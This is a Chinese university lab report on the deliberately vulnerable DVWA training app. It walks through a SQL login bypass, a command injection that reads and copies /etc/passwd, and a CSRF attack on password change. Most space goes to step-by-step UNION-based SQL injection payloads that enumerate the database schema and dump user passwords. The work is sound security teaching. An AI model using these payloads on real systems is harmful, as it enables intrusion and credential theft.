DVWA实验报告.docx
《DVWA实验报告.docx》由会员分享,可在线阅读,更多相关《DVWA实验报告.docx(15页珍藏版)》请在冰豆网上搜索。
DVWA实验报告
信息安全实验报告
题目DVWA
姓名学号
专业年级计算机科学与技术2014级
(1)班
指导教师
2016年12月10日
1.BruteForce
很容易就可以发现这在这个页面的代码中存在SQL注入漏洞,问题就出在下面这行语句:
$qry="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
这时输入用户名“admin’or‘a’=’a”,那么无论输入什么密码都可以正常登录。
原理其实很简单,只要将那段用户名代入到代码中就可以理解了。
$qry="SELECT*FROM`users`WHEREuser='admin’or‘a’=‘a'ANDpassword='$pass';";因为了有了“or‘a’=‘a'”的存在,所以后面的“ANDpassword='$pass'”密码验证根本就没有发挥作用。
2.CommandExecution
CommandExecution页面
从左侧导航栏中选择CommandExecution,可以看到右侧页面提供了一个输入框,我们可以在里面输入ip地址,点击'submit'按钮之后就会开始执行ping命令,执行结果会陆续展示在输入框下方的空白处。
正常ping
∙在输入框中输入一个IP地址,如192.168.0.1
∙点击Submit
cat/etc/password(尝试一)
∙在输入框中输入
cat/etc/passwd
∙点击Submit此时并没有消息提示说此IP非法,也没有任何东西返回,说明后台有可能没有对IP地址的合法性进行检测
cat/etc/password(尝试二)
∙在输入框中输入
192.168.0.1;cat/etc/passwd
∙点击Submit现在我们就可以看见文件/etc/password的内容
查看漏洞代码
∙打开一个新的终端
∙输入:
cat/path/to/dvwa/vulnerabilities/exec/source/low.php
注意两行shell_exec代码:
这两行代码就是操作系统执行ping程序的地方,在Linux/Unix上,可以通过";"来分隔两个都需要执行的命令。
可以看到,这里的PHP代码中并没有对IP地址的合法性检测,所以,这段代码允许攻击者在IP地址后追加其它命令
拷贝/etc/passwd至/tmp
在输入框中输入:
192.168.11.1;cat/etc/passwd|tee/tmp/passwd
通过这条命令,我们不仅获取了/etc/passwd的内容,还将其拷贝到了/tmp目录下。
3.CSRF
对low级别的代码进行分析:
服务器端核心代码
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。
漏洞利用:
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。
这里为了方便演示,就在本地写一个test.html,下面是具体代码。
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hac
4.SQLInjection
1、设置
把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。
2、测试和分析页面的功能
这里有一个输入框
根据上面的提示,输入用户的id。
然后我们输入之后,发现它返回了关于这个user的信息!
这里我们输入了“1”。
它返回三行数据,一行是我们输入的用户ID。
一行是用户名,另外一行是用户别名。
同时,看一下浏览器的地址栏那里,发现url成这样了
这里有个id=1,是不是就是我们输入的userid呢?
再输入“2”,发现url变成了
好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。
我们在输入框中输入什么,就会通过id传进去什么!
3、对参数进行测试
对id这个参数进行测试,查看一下它是否存在sql注入漏洞。
我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。
发现这里报错了,说我们的sql语句出现了语法错误。
我们可以进行这样一个猜测:
首先它这个id是被两个“'”包住的。
查询语句可能是这样的:
selectfirstname,surnamefromuserswhereid='1';
当我们在1之后加一个引号,则会导致单引号数目不平衡,那么查询语句会变成这样:
selectfirstname,surnamefromuserswhereid='1'';
可以看到最后一个引号没被闭合,那我们该怎么办呢?
其实有好多种解决的办法,下面就简单介绍下。
方法一:
可以在原来的基础上再继续输入一个引号,也就是“1''”。
这时我们看一下查询语句:
selectfirstname,surnamefromuserswhereid='1''';
*在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。
出来的结果还是和user_id=1一样
方法二:
使用“#”符号来注释后面的单引号,到时查询语句将会变成这样:
selectfirstname,surnamefromuserswhereid='1'#';
方法三:
使用“--”。
这里注意了“--”后面有一个空格。
在url当中,我们可以使用“+”来代替“--”后面的空格。
到时查询语句将会变成这样:
selectfirstname,surnamefromuserswhereid='1'--+';
上面显示出来的结果和输入1时一样。
到这里我们就可以确定:
∙漏洞的参数是“id”。
∙漏洞的类型是字符型。
4、构造payload
好了,在我们确认漏洞之后,就可以构造payload了。
什么是payload?
说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。
4.1分析字段数
分析字段数的话,也是有两种方法。
方法一:
用orderby语句。
分析字段数的原因是我们之后需要用unionselect语句来获得我们需要的敏感数据。
根据orderby知识知道,要是后面跟着的数字超出了字段数时,就会报错!
通过这个我们可以确定字段数。
我们构造的payload如下:
1'orderby1#
1'orderby2#
1'orderby3#
当输入到3的时候,发现它报错了,也就是说字段数为2。
方法二:
直接用unionselect来猜测字段数。
因为当字段数不对应的时候,它也是会发生报错的!
我们构造以下查询语句:
1'unionselect1#
1'unionselect1,2#
1'unionselect1,2,3#
可以发现,当unionselect1,2,3的时候报错,unionselect1,2的时候没有报错,也就是说字段数为2。
同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?
其实这就是我们unionselect出来的数据。
这样通过查看页面,我们便可以获得数据库里面的信息了!
4.2获取信息
字段数为2,说明数据列有两列。
我们可以通过unionselect语句查出两个数据。
好了,我们来获取所需要的数据库里面的信息吧!
4.2.1获取当前数据库名,当前用户名
构造数据库查询语句如下所示:
1'unionselectdatabase(),user()#
database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
可以看到当前使用的数据库为:
dvwa,当前的用户名root@localhost。
有时候,后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果。
如下操作:
-1'unionselectdatabase(),user()#
这样就只会返回我们需要的数据了。
类似的函数还有:
version()获取当前数据库版本,@@version_compile_os获取当前操作系统。
-1'unionselectversion(),@@version_compile_os#
*数据库版本高于5.0就可以爆库了,下面会具体讲解。
4.2.2获取当前的用户表
根据上面的信息,我们知道当前数据库名为dvwa,可是还不够呀,表名是什么?
内容又是什么?
是不是打算放弃了?
先吃根辣条冷静一下吧。
想想看,当你有不懂的字会怎么办呢?
不要动不动就去XX,除了问度娘,还能怎么做呢?
对了,查字典。
那么mysql有没有类似于字典的东西呢?
答案是肯定的,就是information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息。
在information_schema里,有一个表tables。
有一个columns……是不是有点感觉了?
tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。
其中table_name是表名,table_schema表示的是这个表所在的数据库。
对于columns,它有column_name,table_schema,table_name。
回想一下,我们拥有的信息是数据库名。
也就是说我们可以构造这样的payload来从数据库里获取一些东西。
好的,构造的查询语句如下:
-1'unionselecttable_name,2frominformation_schema.tableswheretable_schema='dvwa'#
爆出来两个表,对那个感兴趣呢当然是users表啦!
不是说还有一个columns表么?
所以我们还需要table_name以及table_schema来查column_name。
这次我们构造的payload如下:
-1'unionselectcolumn_name,2frominformation_schema.columnswheretable_schema='dvwa'andtable_name='users'#
-1'unionselectcolumn_name,2frominformation_schema.columnswheretable_name='users'#
再次修改payload:
-1'unionselectuser,passwordfromusers#